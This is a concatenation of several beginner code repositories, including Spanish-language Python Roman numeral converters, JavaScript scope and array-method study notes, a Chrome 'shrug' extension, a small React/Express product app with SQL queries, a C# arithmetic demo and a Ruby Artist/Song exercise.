<file_sep>class RomanoArabigo():
def __init__(self):
self.lista=["I", "V", "X", "L", "C", "D", "M"]
self.sumatoria=0
def validar(self, romano):
self.numero=romano
bandera=False
contador=0
for i in self.numero:
if i.upper() in self.lista:
contador=contador+1
else:
contador=0
break
if contador==0:
bandera=False
print("El Numero es invalido")
else:
bandera=True
return bandera
def enlistar(self, romano):
self.lista=[]
for i in romano:
self.lista.append(i)
return self.lista
def analiza(self, nromano):
self.milista=self.enlistar(nromano)
i=0
while i<(len(self.milista)-1) and i>=0:
if i<len(self.milista):
b=i
if self.milista[i]=="I" and self.milista[i+1]=="V":
self.sumatoria=self.sumatoria+4
self.milista.remove(self.milista[i])
self.milista.remove(self.milista[i])
i=b
elif self.milista[i]=="I" and self.milista[i+1]=="X":
self.sumatoria=self.sumatoria+9
self.milista.remove(self.milista[i])
self.milista.remove(self.milista[i])
i=b
elif self.milista[i]=="X" and self.milista[i+1]=="L":
self.sumatoria=self.sumatoria+40
self.milista.remove(self.milista[i])
self.milista.remove(self.milista[i])
i=b
elif self.milista[i]=="X" and self.milista[i+1]=="C":
self.sumatoria=self.sumatoria+90
self.milista.remove(self.milista[i])
self.milista.remove(self.milista[i])
i=b
elif self.milista[i]=="C" and self.milista[i+1]=="D":
self.sumatoria=self.sumatoria+400
self.milista.remove(self.milista[i])
self.milista.remove(self.milista[i])
i=b
elif self.milista[i]=="C" and self.milista[i+1]=="M":
self.sumatoria=self.sumatoria+900
self.milista.remove(self.milista[i])
self.milista.remove(self.milista[i])
i=b
elif self.milista[i]=="M" and self.milista[i+1]=="V":
self.sumatoria=self.sumatoria+4000
self.milista.remove(self.milista[i])
self.milista.remove(self.milista[i])
i=b
else:
i=i+1
self.sumatoria=self.sumatoria+(self.lista.count("I")*1)
self.sumatoria=self.sumatoria+(self.lista.count("V")*5)
self.sumatoria=self.sumatoria+(self.lista.count("X")*10)
self.sumatoria=self.sumatoria+(self.lista.count("L")*50)
self.sumatoria=self.sumatoria+(self.lista.count("C")*100)
self.sumatoria=self.sumatoria+(self.lista.count("D")*500)
self.sumatoria=self.sumatoria+(self.lista.count("M")*1000)
print("Tu numero Romano convertido al Arabigo es:")
print(self.sumatoria)
Romano=RomanoArabigo()
validacion=False
while validacion!=True:
minumero=input("Por favor introduce un numero romano: ")
validacion=Romano.validar(minumero)
Romano.analiza(minumero)
<file_sep>class NumerosRomanos():
def __init__(self):
self.numero1="I"
self.numero5="V"
self.numero10="X"
self.numero50="L"
self.numero100="C"
self.numero500="D"
self.numero1000="M"
def imprimirlista(self,listanueva):
for i in listanueva:
print(i, end="")
def menorque5(self,numeroarabigo):
self.elnumero=numeroarabigo
self.i=1
self.lista=[]
if 0<self.elnumero<=3:
while self.i<=self.elnumero:
self.lista.append(self.numero1)
self.i=self.i+1
elif self.elnumero==4:
self.lista=["IV"]
else:
#lista=""
pass
return self.lista
def menorque10(self, numeroarabigo):
self.i=6
self.lista=["V"]
if 5<numeroarabigo<=8:
while self.i<=numeroarabigo:
self.lista.append(self.numero1)
self.i=self.i+1
elif numeroarabigo==9:
self.lista=["IX"]
else:
self.lista=["V"]
return self.lista
def menorque50(self, numeroarabigo):
self.i=1
self.lista=[]
if 0<numeroarabigo<=3:
while self.i<=numeroarabigo:
self.lista.append(self.numero10)
self.i=self.i+1
elif numeroarabigo==4:
self.lista=["XL"]
else:
#lista=""
pass
return self.lista
def menorque100(self, numeroarabigo):
self.i=6
self.lista=["L"]
if 5<numeroarabigo<=8:
while self.i<=numeroarabigo:
self.lista.append(self.numero10)
self.i=self.i+1
elif numeroarabigo==9:
self.lista=["XC"]
else:
self.lista=["L"]
return self.lista
def menorque500(self, numeroarabigo):
self.i=1
self.lista=[]
if 0<numeroarabigo<=3:
while self.i<=numeroarabigo:
self.lista.append(self.numero100)
self.i=self.i+1
elif numeroarabigo==4:
self.lista=["CD"]
else:
#lista=""
pass
return self.lista
def menorque1000(self, numeroarabigo):
self.i=6
self.lista=["D"]
if 5<numeroarabigo<=8:
while self.i<=numeroarabigo:
self.lista.append(self.numero100)
self.i=i+1
elif numeroarabigo==9:
self.lista=["CM"]
else:
self.lista=["D"]
return self.lista
def menorque5000(self, numeroarabigo):
self.elnumero=numeroarabigo
self.i=1
self.lista=[]
if 0<self.elnumero<=3:
while self.i<=self.elnumero:
self.lista.append(self.numero1000)
self.i=self.i+1
elif self.elnumero==4:
self.lista=["MV"]
else:
#lista=""
pass
return self.lista
arabigo=input("Podrias introducir el numero a convertir: ")
minumero=NumerosRomanos()
for i in range(len(arabigo)):
k=len(arabigo)-i
if int(arabigo[i])<5 and k==1:
minumero.imprimirlista(minumero.menorque5(int(arabigo[i])))
elif 5<=int(arabigo[i])<10 and k==1:
minumero.imprimirlista(minumero.menorque10(int(arabigo[i])))
elif int(arabigo[i])<5 and k==2:
minumero.imprimirlista(minumero.menorque50(int(arabigo[i])))
elif 5<=int(arabigo[i])<10 and k==2:
minumero.imprimirlista(minumero.menorque100(int(arabigo[i])))
elif int(arabigo[i])<5 and k==3:
minumero.imprimirlista(minumero.menorque500(int(arabigo[i])))
elif 5<=int(arabigo[i])<10 and k==3:
minumero.imprimirlista(minumero.menorque1000(int(arabigo[i])))
elif int(arabigo[i])<5 and k==4:
minumero.imprimirlista(minumero.menorque5000(int(arabigo[i])))
| 793745b2f8423879daa3aaa5d897067b272cba5e | [
"Markdown",
"Python"
] | 9 | Markdown | pedrillogdl/ejemplos_python | 08546e73812bef770a713dc032a5897726522700 | e9ce1cc62f709d3b153c0daf4b1df6dd0e438b80 |
refs/heads/master | <repo_name>juanduran2421/BasesDatos<file_sep>/index.js
let i =0;
| 4b75292f5573dc3f64320e5af6eded13afa99960 | [
"JavaScript"
] | 1 | JavaScript | juanduran2421/BasesDatos | 8738cf624745335f61b0955223e44173069c2707 | 21087944e30d97477703308c49a790f9964af6ee |
refs/heads/master | <file_sep>import request from '@/utils/request'
export function getPage(data) {
return request({
url: '/api/person/getPage',
method: 'post',
data
})
}
export function save(data) {
return request({
url: '/api/person/save',
method: 'post',
data
})
}
export function del(data) {
return request({
url: '/api/person/delete',
method: 'post',
data
})
}
export function getList(data) {
return request({
url: '/api/person/getList',
method: 'post',
data
})
}
export function getTree(data) {
return request({
url: '/api/person/getTree',
method: 'post',
data
})
}
<file_sep>import request from '@/utils/request'
export function getPage(data) {
return request({
url: '/api/role/getPage',
method: 'post',
data
})
}
export function save(data) {
return request({
url: '/api/role/save',
method: 'post',
data
})
}
export function del(data) {
return request({
url: '/api/role/delete',
method: 'post',
data
})
}
<file_sep>import request from '@/utils/request'
export function getPage(data) {
return request({
url: '/api/menu/getPage',
method: 'post',
data
})
}
export function getList(data) {
return request({
url: '/api/menu/getList',
method: 'post',
data
})
}
export function save(data) {
return request({
url: '/api/menu/save',
method: 'post',
data
})
}
export function del(data) {
return request({
url: '/api/menu/delete',
method: 'post',
data
})
}
// 用户菜单
export function getMenuListByUser() {
return request({
url: '/api/menu/getMenuListByUser',
method: 'post'
})
}
| 709ea0fb612ad87efef64e287dd6c910ac98d40c | [
"JavaScript"
] | 3 | JavaScript | fengqilove520/familytreefont | 4b8452fce5695a467b57f277ccad30ca33929d14 | fae2823c17c794cea79714ef003f44a6bce8f90e |
refs/heads/master | <file_sep># chrome-shrug
Chrome extension that creates a context menu item to insert a shrug ascii emoticon ¯\\\_(ツ)\_/¯
# installation
Download the files, open the extension manager and add it as an unpacked extension. Easy!
# known issues
- Currently working only on inputs, textareas and tags with the "contenteditable" attribute.
- It doesn't trigger any keypressed-like event, so sometimes you need to type after the insertion to trigger the regular behaviour for the field.
<file_sep>
function insert_shrug(info, tab) {
if (info.menuItemId == "insert_shrug") {
chrome.tabs.sendMessage(tab.id, "clicked_element", function(cb) {
});
}
}
chrome.contextMenus.onClicked.addListener(insert_shrug);
chrome.runtime.onInstalled.addListener(function(details) {
chrome.contextMenus.create({"title": "Shrug",
"contexts":["editable"],
"id": "insert_shrug"
});
}); | ba64146f768e742f1495bb73bbd83e2e505aaf21 | [
"Markdown",
"JavaScript"
] | 2 | Markdown | koopaconan/chrome-shrug | 5c32b2eb814654b8ba5029c7077d37d5c51df520 | 2e1676a0752ad052ff15b8b45068d9cc5e06e11b |
refs/heads/master | <file_sep>//variable naming rules
//must start with $, _,, or a letter
//can use any letter, number, $ or _ after first letter
// no whitespace
//cannot be a reserved keyword
//*******EXAMPLES!!!!***** */
//declaration - creating a variable
var data;
//assignment - assigning a value to data
var data = 7;
var x = 10;
//retrieval - will output 7
data;
//use - result will equal 17
x + data;
//combination - creating new variable num to combine two other variables (for an easy shortcut)
var num = x + data;
//copy - copying x (10) and turning data into 10
var data = x;
//string
var string = "asdfkjl"
var string2 = 'lkjasdf'
//boolean
var boolean = true;
var boolean2 = false;
//ETC.
var nothing = null; // this is how you empty out a variable (i.e. delete contents of a variable)
var nothing2 = undefined; // the default value for the majority of variables
var nothing3 = 77 / "words"; // NaN - Not a number (output)
<file_sep>module.exports = {
getProduct: (req, res, next) => {
const dbInstance = req.app.get("db");
dbInstance
.get_products()
.then(product => res.status(200).send(product))
.catch(err => {
res.status(500).send({ errorMessage: "Get didn't work" });
console.log(err);
});
},
postProduct: (req, res, next) => {
const dbInstance = req.app.get("db");
const { img, name, price } = req.body;
dbInstance
.post_products([img, name, price])
.then(() => res.sendStatus(200))
.catch(err => {
res.status(500).send({ errorMessage: "Post didn't work" });
console.log(err);
});
},
putProduct: (req, res, next) => {
const dbInstance = req.app.get("db");
const { params, query } = req;
dbInstance
.put_products([params.id, query.desc])
.then(() => res.sendStatus(200))
.catch(err => {
res.status(500).send({ errorMessage: "Put didn't work" });
console.log(err);
});
},
deleteProduct: (req, res, next) => {
const dbInstance = req.app.get("db");
const { id } = req.params;
dbInstance
.delete_products(id)
.then(() => res.sendStatus(200))
.catch(err => {
res.status(500).send({ errorMessage: "Delete didn't work" });
console.log(err);
});
}
};
<file_sep>import React, { Component } from "react";
export default class Form extends Component {
constructor() {
super();
this.state = {
name: "",
price: 0,
img: ""
};
this.postProducts = this.postProducts.bind(this);
}
render() {
return <div>Form</div>;
}
}
<file_sep>// Coding challenge
// John and his family went on a holliday and went to 3 differnt resturants. The bills wre $124, $48, $268.
// *
// * To tip the waiter a fair amount,john created a simple tip calculator (as a function). he likes to tip 20% of the bill when the bill is less than $50,
// * 15% when the bill is between $50 and $200, and 10% if the bill is more than $200.
// *
// * In the end, John would like to have 2 arrays:
// * 1. containing all three tips (one for each bill)
// * 2. contatining all three final paid amounts(bill + tip)
let bill = [124, 48, 268];
let totalBill = [];
let tips = [];
function tipCalculator() {
for (i = 0; i <= bill.length - 1; i++) {
if (bill[i] < 50) {
totalBill.push(bill[i] + bill[i] * 0.2);
tips.push(bill[i] * 0.2);
} else if (bill[i] >= 50 && bill[i] <= 200) {
totalBill.push(bill[i] + bill[i] * 0.15);
tips.push(bill[i] * 0.15);
} else {
totalBill.push(bill[i] + bill[i] * 0.1);
tips.push(bill[i] * 0.1);
}
}
console.log(tips);
console.log(totalBill);
}
tipCalculator(bill);
// const bill2 = [124, 48, 268];
// let tip2 = bill2.slice();
// console.log(tip2);
<file_sep>INSERT INTO products ( img, name, price )
VALUES ( $1, $2, $3 );<file_sep>//.indexOf - shows index value of array item
var fruits = ["app", "ban", "cher"];
var ban = fruits.indexOf("ban");
console.log(ban);
//.forEach - edits existing array
var ages = [1, 2, 3, 4];
ages.forEach(function(ages, i, arr) {
arr[i] = ages + 1;
});
console.log(ages);
//.map - new or transformed copy of an array
var ages = [1, 2, 3, 4];
var newAge = ages.map(function(element) {
return element + 1;
});
console.log(newAge);
console.log(ages);
//.filter - pulls out peices from array based on certain criteria
var names = ["suzie", "ben", "thomas", "chad"];
var shortNames = names.filter(function(val, i, arr) {
return val.length <= 5;
});
console.log(shortNames);
//objects using delete
var backpack = {
oldLaptop: "slow",
oldLunch: "moldy",
pencil: "sharp"
};
var oldStuff = ["oldLaptop", "oldLunch"];
for (var i = 0; i < oldStuff.length; i++) {
delete backpack[oldStuff[i]];
}
console.log(backpack);
//copying with assign - one object to another
var obj1 = {
name: "Joseph"
};
var objCopy = Object.assign({}, obj1);
obj1.name = "Joe";
console.log(objCopy);
console.log(obj1);
//assign - with something that looks like merging
var cat = {
name: "fluffles"
};
var fish = {
type: "fishy"
};
var mouse = {
nickname: "stuart"
};
var zoo = Object.assign({}, cat, fish, mouse);
cat.name = "ruffles";
console.log(cat);
console.log(zoo);
//Objects - For in
var employee = {
tom: "boat",
chris: "car",
james: "train"
};
var peeps = [];
for (var prop in employee) {
peeps.push(prop);
}
var trans = [];
for (var prop in employee) {
trans.push(employee[prop]);
}
for (var prop in employee) {
employee[prop] = "walk";
}
console.log(peeps);
console.log(trans);
console.log(employee);
//reduce function in array - combines elements in an array and returns single value (i.e. reduces length of array)
let totalScores = [36, 39, 44, 49, 45, 48, 52];
let sumTotal = totalScores.reduce(function(total, val, i, arr) {
return total + val;
}, 3000);
console.log(sumTotal);
//reducing array with strings
let lyricWords = ["Hello, ", "from ", "the ", "other ", "side ", "/r/n"];
let song = lyricWords.reduce(function(total, val, i, arr) {
return total + val;
});
console.log(song);
// chaining using map, filter, and reduce
let challengeArray = [1, 2, 3, 4, 5, 6];
// ===>>> Using map, filter, reduce, the array above and the concept of chaining... map through the above array and multiply each value by 5, then filter through the array returning only odd numbers, then reduce all the values to get a total.
let chainArray = challengeArray
.map(function(element) {
return element * 5;
})
.filter(function(val, i, arr) {
return val % 2 === 1;
})
.reduce(function(total, value, index, array) {
return total + value;
});
console.log(chainArray);
// using delete
let deleteBadSpelling = {
school: "DevMountain",
topic: "Web Deeeeveloppin",
grade: "We don't do that stuff"
};
delete deleteBadSpelling.topic;
console.log(deleteBadSpelling);
// object assigning (object.assign)
// ===>>> What will be the result of the code below when you uncomment it?
let arr = [1, 2, 3];
let arrCopy = arr;
console.log(arr === arrCopy);
// -------------------------------------------------
// ===>>> How do we fix this?
let copiedArray = arr.slice();
console.log(arr === copiedArray);
////////////DESTRUCTURING///////////////
let toDestructure = {
name: "Jake",
age: undefined,
height: "5 ft and 11 3/4 inches"
};
let { name, age, height } = toDestructure;
console.log(name, age, height);
//next example on destrucuting objects
let yessa = {
name: "<NAME>",
race: "Gungan",
favoritePhrase: "Yessa",
skills: ["Jumping", "talking", "talking more", "'helping'"],
planet: "Binksia",
friends: ["<NAME>", "<NAME>", "Chewywok"]
};
// ===>>> Using object destructuring and the yessa object above, save yessa's name and favoritePhrase into new variables.
let { name, favoritePhrase } = yessa;
console.log(name, favoritePhrase);
//SPREAD OPERATOR ...var value
let numbers = [1, 2, 3];
let second = [5, 6, 7];
// ===>>> Using the spread operator, create a copy of the numbers AND SECOND array above
const myCopy = [...numbers, ...second];
console.log(myCopy);
//
function multiply(num1, num2, num3) {
return num1 * num2 * num3;
}
let myNumbers = [1, 2, 3, 4, 5, 6]; //only miultiplies first three numbers based on function above(num1, num2, num3)
console.log(multiply(...myNumbers));
//
<file_sep> //concept
function myFunction() {
console.log('hello!');
};
myFunction() //should spit out hello!
//function: a way to write repeatable code
//name of the function can be ANYTHING
//curly braces always go around repeatable code (i.e. your function)
//parentheses hold parameters to pass data to function (go within first parentheses on function line)
//Passing in Data
function myFunction(num) { //num is a parameter name
//**use the num in code**
};
myFunction(4); //now that this 4 is in myFunction, it will now be applied to the function above and replace all num's within the function
//next slide
var apples = 4;
apples;
//new example using similar concept
function myFunc(apples){ //now a 4 should be in place of apples
apples //will return the value 4
}
//next slide
//using multiple parameters when calling a function
function shoeMaker (color, size){
console.log(color + ' ' + 'size ' + size + ' ' + 'shoe');
};
shoeMaker('green', 10);
//Sending out Data
function myFunction(){
return data; //shares data back out with our code (return implies that sent code requires code back)
};
//Example
function giveMe7(){
return 7;//passes the 7 down below to function invocation and should return 7
};
giveMe7();//this function invocation receives 7 based on the return used above and is COMPLETELY REPLACES the function invocation with just 7
//after the function invocation is replaced, we can move on with code. See below:
function giveMe7(){
return 7;
};
giveMe7() + 3; //this should return a value of 10 because giveMe7() is now permenately replaced with a value of 7
//adding more to previous example - adding these steps to a variable (very common practice)
function giveMe7(){
return 7;
};
var ten = giveMe7() + 3;
//this will also work
function giveMe7(){
var seven = 7;
return seven;//this seven is pulling from the seven from the line above where seven was given the value of 7
};
var ten = giveMe7() + 3;
//next slide
function add(num1, num2){
return num1 + num2;
};
var sum1 = add(1, 2);
var sum2 = add(sum1, 2);
//more complex function of previous example
function add(num1, num2){
return num1 + num2;
};
function subtract(num1, num2){
return num1 - num2;
};
var biggerAnswer = add(5, 1) / subtract(3, 1); //should return 3 for variable biggerAnswer
//another more complex function of previous example
function add(num1, num2){
return num1 + num2;
};
function subtract(num1, num2){
return num1 - num2;
};
var complexAnswer = subtract(add(5, 2), 3);//nesting add within subtract - should return 4
//Returning functions from a function
//Function that returns another function
function myFunc(){
return function(){
return 'hello!';
}
}
function shoeMachineMaker (color){
return function(){
return color + ' ' + 'shoe';
}
}
var blueShoeMaker = shoeMachineMaker('blue');
blueShoeMaker();//this additional step is required because the line above was to call the first function ONLY - the returned function can now be invoked
//next slide
//what if you use multiple parameters?
function shoeModelMaker (color, laces, soles, glitter){
return function(size){//inner function is size
return color + ' shoe with ' + laces + 'laces, ' + soles + ' soles, and ' + glitter + 'glitter' + ' in size ' + size;
}
}
var moonJumperMaker = shoeModelMaker('magenta', 'yellow', 'green', 'pink');
moonJumperMaker(11); //this function when called will how report magenta shoe with yellow laces, green soles, and pink glitter in size 11 - inner function is also called (11) from first return statement above
//Declaration vs. Expression
//Produces ALMOST the same output - Expression may result in more unexplained bugs so the safer option is Declaration
//Function Declaration
function myFunc(){
//**code here**
}
var x = myFunc()
//Function Expression
var myFunc = function(){
}
<file_sep> //Overview of Scope
var globalVariable = 'Hi, everyone!';
function myFunction(){
var localVariable = 'Only available inside this function(locally)';//This specific line of code cannot be accessed without using the function myFunction() if localVariable is below the function
}
var localVariable();//this will not work because localVariable is below the function myFunction()
//next slide - a solution to the previous example - since var username is above function displayUsername(), the output will be hello, longjohnsilver42 - it worked
var username = 'longjohnsilver42';
function displayUsername(){
alert('hello,' + username);
}
//next slide - if variable is inside function
function setUsername(){
var username = 'jimh4wkins';
username//we can access the username if we try to invoke variable from inside the current function
}
//if variable is invoked from outside the function from which the variable value is stored
function setUsername(){
var username = 'jimh4wkins';
}
username//this will result in a message stating undefined - when js is looking for variables, it will look on the current line and 'walk up' functions to see if variable has been declared
//Rules of Scope
//we can look up, but NEVER down
var storeHours = '9am to 5pm';//global variable - this can only access the variable storeHours
function setEmployeeHours(hours){
var setEmployeeHours = hours;//local variable - this can access the variables setEmployeeHours and storeHours - we can only look up when invoking variables
function employeeLogin(){
var employeeLogin = 'iwrkhere';//this can access all 3 variables - we can only look up when invoking variables
}
}
storeHours;//will work because this is on the same level
setEmployeeHours;//will NOT WORK because this is going down - see examples using 'longjohnsilver42' and 'jimh4wkins' above
employeeLogin;//will NOT WORK because this is going down - see examples using 'longjohnsilver42' and 'jimh4wkins' above
//next slide
//function up to global scope
var favoriteColor = 'blue';
function changeFavoriteColor(){
favoriteColor = 'red';
}
changeFavoriteColor();//if this function is not invoked, the calling of variable favoriteColor (below) will be 'blue' because it is called OUTSIDE of the function
favoriteColor//will result in 'red' because the function changeFavoriteColor(); was invoked 2 lines above
//next slide
//child scope to parent scope
function plantTree(){
var tree = 'fir';
function changeTree(){
tree//will result in an output of 'fir'
}
}
//change for example
function plantTree(){
var tree = 'fir';
function changeTree(){
tree = 'oak';//changed value of tree from 'fir' to 'oak'
}
changeTree();
tree//will result in the value of oak
}
//calling for variable tree OUTSIDE of parent function
function plantTree(){
var tree = 'fir';
function changeTree(){
tree = 'oak';
}
changeTree();
}
tree//called for variable tree here (at the global level) and because it is defined BELOW the parent function in which the variable was created, it will output undefined
changeTree//same as above - variables and function names follow the exact same scope rules, can only look up, never down
//next slide
//sibling scopes - e.g. son and daughter below
function parentFunction(){
var ourHouse = 'brick';
hulaHoop
function daughterFunction(){
var hulaHoop = 'blue';
crayons//inaccessable because we can NEVER go up OR SIDEWAYS (i.e. sibling scopes)
ourHouse//will return 'brick'
}
function sonFunction(){
var crayons = 64;
hulaHoop//inaccessable because we can NEVER go up OR SIDEWAYS (i.e. sibling scopes)
ourHouse//will return 'brick'
}
}
//Lexical Scoping
//location, location, location
//local variables may sometimes take priority
var lunch = 'pizza'//global scope
function myLunch(){//parent function
var lunch = 'filet mignon';
lunch//this will result in 'filet mignon'
}
//calling lunch outside of the function instead
var lunch = 'pizza'//global scope
function myLunch(){//parent function
var lunch = 'filet mignon';
}
myLunch()
lunch//this is differnt than the previous examples (line 49-57) because var was used. This is making a new variable, not changing an existing one.
//Therefore, the output will be 'pizza' (global scope) because lunch is invoked at the global scope level
//next slide
//Scope is unaffected by Ifs and Fors
function overlord(){
if(true){
var peasant = 'lowly';
}
peasant//will output 'lowly'
for(var i = 0; i < 5; i++){
peasant = i;
}
}
//move peasant invoke to another spot
function overlord(){
if(true){
var peasant = 'lowly';
}
for(var i = 0; i < 5; i++){
peasant = i;
}
peasant//will output 4
}
//call for i instead of peasant in same spot
function overlord(){
if(true){
var peasant = 'lowly';
}
for(var i = 0; i < 5; i++){
peasant = i;
}
i//will result in 5
}
//another example with another for loop nested within a for loop
function overlord(){
if(true){
var peasant = 'lowly';
}
for(var i = 0; i < 5; i++){
peasant = i;
for(var i = 0; i < 2; i++){//if you do this, it will result in a conflict, instead you should change the 2nd for loop's letter to something other than i (e.g. j)
}
}
}
// Scope - Let
//let allows us to break functional scope rules (lines 1-131) and applies block scope rules
//let is essentially a var statment BUT only applies for that block (i.e. only usable within the curly braces in which it is defined{block scoping})
//Example
if(true){
let num = 12
num//will result in 12
}
num//will result in undefined
for(let i = 0; i < 11; i++){
}
i//will result in undefined
//next slide
var array = [1, 2, 3];//will result in [1, 2, 3]
var size = array.length;//will result in 3
var string = 'hello';//will result in 'hello'
//applying if statement
var array = [1, 2, 3];
var size = array.length;
var string = 'hello';
if(string.length > 0){
var size = string.length + 1;
}
//will change var size to 6 - oops
//adding on to last example
var array = [1, 2, 3];
var size = array.length;
var string = 'hello';
if(string.length > 0){
var size = string.length + 1;
}
array.push(size);
//will change array from [1, 2, 3, 6]
//changing var to let
var array = [1, 2, 3];
var size = array.length;
var string = 'hello';
if(string.length > 0){
let size = string.length + 1;
}
array.push(size);
//will result in [1, 2, 3, 3] because the let only applies that change in size within the if loop, array.push(size); is NOT within that loop and will refer back to the global variable size
<file_sep> //Overview of Scope
var globalVariable = 'Hi, everyone!';
function myFunction(){
var localVariable = 'Only available inside this function(locally)';//This specific line of code cannot be accessed without using the function myFunction() if localVariable is below the function
}
var localVariable();//this will not work because localVariable is below the function myFunction()
//next slide - a solution to the previous example - since var username is above function displayUsername(), the output will be hello, longjohnsilver42 - it worked
var username = 'longjohnsilver42';
function displayUsername(){
alert('hello,' + username);
}
//next slide - if variable is inside function
function setUsername(){
var username = 'jimh4wkins';
username//we can access the username if we try to invoke variable from inside the current function
}
//if variable is invoked from outside the function from which the variable value is stored
function setUsername(){
var username = 'jimh4wkins';
}
username//this will result in a message stating undefined - when js is looking for variables, it will look on the current line and 'walk up' functions to see if variable has been declared
//Rules of Scope
//we can look up, but NEVER down
var storeHours = '9am to 5pm';//global variable - this can only access the variable storeHours
function setEmployeeHours(hours){
var setEmployeeHours = hours;//local variable - this can access the variables setEmployeeHours and storeHours - we can only look up when invoking variables
function employeeLogin(){
var employeeLogin = 'iwrkhere';//this can access all 3 variables - we can only look up when invoking variables
}
}
storeHours;//will work because this is on the same level
setEmployeeHours;//will NOT WORK because this is going down - see examples using 'longjohnsilver42' and 'jimh4wkins' above
employeeLogin;//will NOT WORK because this is going down - see examples using 'longjohnsilver42' and 'jimh4wkins' above
//next slide
//function up to global scope
var favoriteColor = 'blue';
function changeFavoriteColor(){
favoriteColor = 'red';
}
changeFavoriteColor();//if this function is not invoked, the calling of variable favoriteColor (below) will be 'blue' because it is called OUTSIDE of the function
favoriteColor//will result in 'red' because the function changeFavoriteColor(); was invoked 2 lines above
//next slide
//child scope to parent scope
function plantTree(){
var tree = 'fir';
function changeTree(){
tree//will result in an output of 'fir'
}
}
//change for example
function plantTree(){
var tree = 'fir';
function changeTree(){
tree = 'oak';//changed value of tree from 'fir' to 'oak'
}
changeTree();
tree//will result in the value of oak
}
//calling for variable tree OUTSIDE of parent function
function plantTree(){
var tree = 'fir';
function changeTree(){
tree = 'oak';
}
changeTree();
}
tree//called for variable tree here (at the global level) and because it is defined BELOW the parent function in which the variable was created, it will output undefined
changeTree//same as above - variables and function names follow the exact same scope rules, can only look up, never down
//next slide
//sibling scopes - e.g. son and daughter below
function parentFunction(){
var ourHouse = 'brick';
hulaHoop
function daughterFunction(){
var hulaHoop = 'blue';
crayons//inaccessable because we can NEVER go up OR SIDEWAYS (i.e. sibling scopes)
ourHouse//will return 'brick'
}
function sonFunction(){
var crayons = 64;
hulaHoop//inaccessable because we can NEVER go up OR SIDEWAYS (i.e. sibling scopes)
ourHouse//will return 'brick'
}
}
//Lexical Scoping
//location, location, location
//local variables may sometimes take priority
var lunch = 'pizza'//global scope
function myLunch(){//parent function
var lunch = 'filet mignon';
lunch//this will result in 'filet mignon'
}
//calling lunch outside of the function instead
var lunch = 'pizza'//global scope
function myLunch(){//parent function
var lunch = 'filet mignon';
}
myLunch()
lunch//this is differnt than the previous examples (line 49-57) because var was used. This is making a new variable, not changing an existing one.
//Therefore, the output will be 'pizza' (global scope) because lunch is invoked at the global scope level
//next slide
//Scope is unaffected by Ifs and Fors
function overlord(){
if(true){
var peasant = 'lowly';
}
peasant//will output 'lowly'
for(var i = 0; i < 5; i++){
peasant = i;
}
}
//move peasant invoke to another spot
function overlord(){
if(true){
var peasant = 'lowly';
}
for(var i = 0; i < 5; i++){
peasant = i;
}
peasant//will output 4
}
//call for i instead of peasant in same spot
function overlord(){
if(true){
var peasant = 'lowly';
}
for(var i = 0; i < 5; i++){
peasant = i;
}
i//will result in 5
}
//another example with another for loop nested within a for loop
function overlord(){
if(true){
var peasant = 'lowly';
}
for(var i = 0; i < 5; i++){
peasant = i;
for(var i = 0; i < 2; i++){//if you do this, it will result in a conflict, instead you should change the 2nd for loop's letter to something other than i (e.g. j)
}
}
}
// Scope - Let
//let allows us to break functional scope rules (lines 1-131) and applies block scope rules
//let is essentially a var statment BUT only applies for that block (i.e. only usable within the curly braces in which it is defined{block scoping})
//Example
if(true){
let num = 12
num//will result in 12
}
num//will result in undefined
for(let i = 0; i < 11; i++){
}
i//will result in undefined
//next slide
var array = [1, 2, 3];//will result in [1, 2, 3]
var size = array.length;//will result in 3
var string = 'hello';//will result in 'hello'
//applying if statement
var array = [1, 2, 3];
var size = array.length;
var string = 'hello';
if(string.length > 0){
var size = string.length + 1;
}
//will change var size to 6 - oops
//adding on to last example
var array = [1, 2, 3];
var size = array.length;
var string = 'hello';
if(string.length > 0){
var size = string.length + 1;
}
array.push(size);
//will change array from [1, 2, 3, 6]
//changing var to let
var array = [1, 2, 3];
var size = array.length;
var string = 'hello';
if(string.length > 0){
let size = string.length + 1;
}
array.push(size);
//will result in [1, 2, 3, 3] because the let only applies that change in size within the if loop, array.push(size); is NOT within that loop and will refer back to the global variable size
<file_sep>UPDATE products
SET img = $2, name = $3, price = $4
WHERE id = $1;<file_sep>import React, { Component } from "react";
import Product from "../Product/Product";
export default class Dashboard extends Component {
constructor(props) {
super(props);
}
render() {
const mappedProducts = this.props.getProducts;
return (
<div className="allProducts">
{mappedProducts.map(product => {
return (
<div key={product.id}>
<ol className="product" id={product.id}>
<img>{product.img}</img>
<div className="description">
<a>{product.name}</a>
<p>{product.price}</p>
</div>
</ol>
</div>
);
})}
Dashboard
<Product />
</div>
);
}
}
| 42b55d5a0d520030ce051267017cc95df447a77f | [
"JavaScript",
"SQL",
"Markdown"
] | 11 | JavaScript | thoover1/shelfie | 4379b02149104d3a4268dff17a8828a85fbf79d8 | 44f5d2e967bcd2ed9a0d9cf115d817599a2c5070 |
refs/heads/main | <repo_name>Josh-Edward-Johnson/LovingSnivelingComputergame<file_sep>/README.md
# LovingSnivelingComputergame
a stupid c# code
<file_sep>/main.cs
using System;
class Program {
public static void Main (string[] args) {
//This program will divide, subtract, multiply and add to numbers and more!
int a = 10;
int b = 5;
int c = 11;
int d = 4;
int e = 100;
int f = 50;
int g = 800;
int h = 900;
Console.WriteLine((a / b).ToString());
Console.WriteLine("10 divided by 5 is equal to 2 ^^^");
Console.WriteLine((c * d).ToString());
Console.WriteLine("11 multiplied by 4 equal to 44 ^^^");
Console.WriteLine((e - f).ToString());
Console.WriteLine("100 subtracted by 50 equal to 50 ^^^");
Console.WriteLine((g + h).ToString());
Console.WriteLine("adding 900 to 800 is equal to 1700 ^^^");
}
}
| 6dee5e4177bf9812cf9d2a7eccbb061c599a587b | [
"Markdown",
"C#"
] | 2 | Markdown | Josh-Edward-Johnson/LovingSnivelingComputergame | a733ea8f95783d59207b9d64b102ec179874abe9 | 0ffbbcb7d93c8ca436ed50792a34c6d22e93a297 |
refs/heads/master | <repo_name>RichardPitts1/ruby-objects-has-many-lab-houston-web-080519<file_sep>/lib/artist.rb
require_relative('../lib/song.rb')
class Artist
attr_accessor :name
@@song_count = 0
def initialize(name)
@name = name
# @@song_count += 1
end
def add_song(song)
self.songs << song
song.artist = self
@@song_count +=1
end
def add_song_by_name(name)
song = Song.new(name)
self.songs << song
song.artist = self
@@song_count +=1
end
# def songs
# Artist.all.select {|song| song.artist == self}
# end
def songs
Song.all.select { |song| song.artist == self}
end
def self.song_count
@@song_count
end
end
adele = Artist.new("Adele")
hello = Song.new("Hello")
adele.add_song_by_name(hello)
